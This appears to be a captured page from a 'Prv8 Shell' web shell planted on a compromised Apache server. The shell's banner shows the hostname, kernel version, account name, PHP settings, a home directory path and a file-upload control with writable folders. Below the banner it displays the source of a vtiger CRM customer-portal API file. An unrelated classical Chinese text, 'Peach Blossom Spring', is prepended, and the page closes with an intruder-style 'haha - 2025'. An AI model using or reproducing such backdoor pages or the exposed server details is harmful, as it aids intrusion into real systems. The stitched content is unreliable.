晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/CustomerPortal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/modules/CustomerPortal/api.php
<?php
/* +**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.1
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 * ***********************************************************************************/

include_once 'include.inc';

class CustomerPortal_API_EntryPoint {

	protected static function authenticate(CustomerPortal_API_Abstract $controller, CustomerPortal_API_Request $request) {
		// Fix: https://bugs.php.net/bug.php?id=35752
		if (!isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['HTTP_AUTHORIZATION'])) {
			if (preg_match('/Basic\s+(.*)$/i', $_SERVER['Authorization'], $matches)) {
				list($name, $password) = explode(':', base64_decode($matches[1]));
				$_SERVER['PHP_AUTH_USER'] = strip_tags($name);
				$_SERVER['PHP_AUTH_PW']    = strip_tags($password);
			}
		}

		if (!isset($_SERVER['PHP_AUTH_USER'])) {
			header('WWW-Authenticate: Basic realm="Customer Portal"');
			header('HTTP/1.0 401 Unauthorized');
			throw new Exception("Login Required", 1412);
			exit;
		} else {
			// Handling the case Contacts module is disabled 
			if (!vtlib_isModuleActive("Contacts")) {
				throw new Exception("Contacts module is disabled", 1412);
			}

			$ok = $controller->authenticatePortalUser($request->get('username'), $request->get('password'));
			if (!$ok) {
				throw new Exception("Login failed", 1412);
			}
		}
	}

	static function process(CustomerPortal_API_Request $request) {
		$operation = $request->getOperation();
		$response = false;
		if (!preg_match("/[0-9a-zA-z]*/", $operation, $match)) {
			throw new Exception("Invalid entry", 1412);
		}

		if ($operation == $match[0]) {
			$operationFile = sprintf('/apis/%s.php', $operation);
			$operationClass = sprintf("CustomerPortal_%s", $operation);
			include_once dirname(__FILE__).$operationFile;
			$operationController = new $operationClass;

			try {
				self::authenticate($operationController, $request);

				//setting active user language as Portal user language 
				$current_user = $operationController->getActiveUser();
				$portal_language = $request->getLanguage();
				$current_user->column_fields["language"] = $portal_language;
				$current_user->language = $portal_language;

				$response = $operationController->process($request);
			} catch (Exception $e) {
				$response = new CustomerPortal_API_Response();
				$response->setError($e->getCode(), $e->getMessage());
			}
		} else {
			$response = new CustomerPortal_API_Response();
			$response->setError(1404, 'Operation not found: '.$operation);
		}

		if ($response !== false) {
			echo $response->emitJSON();
		}
	}

}

/** Take care of stripping the slashes */
function stripslashes_recursive($value) {
	$value = is_array($value) ? array_map('stripslashes_recursive', $value) : stripslashes($value);
	return $value;
}

$clientRequestValues = $_POST;
if (get_magic_quotes_gpc()) {
	$clientRequestValues = stripslashes_recursive($clientRequestValues);
}

$clientRequestValuesRaw = array();
CustomerPortal_API_EntryPoint::process(new CustomerPortal_API_Request($clientRequestValues, $clientRequestValuesRaw));

haha - 2025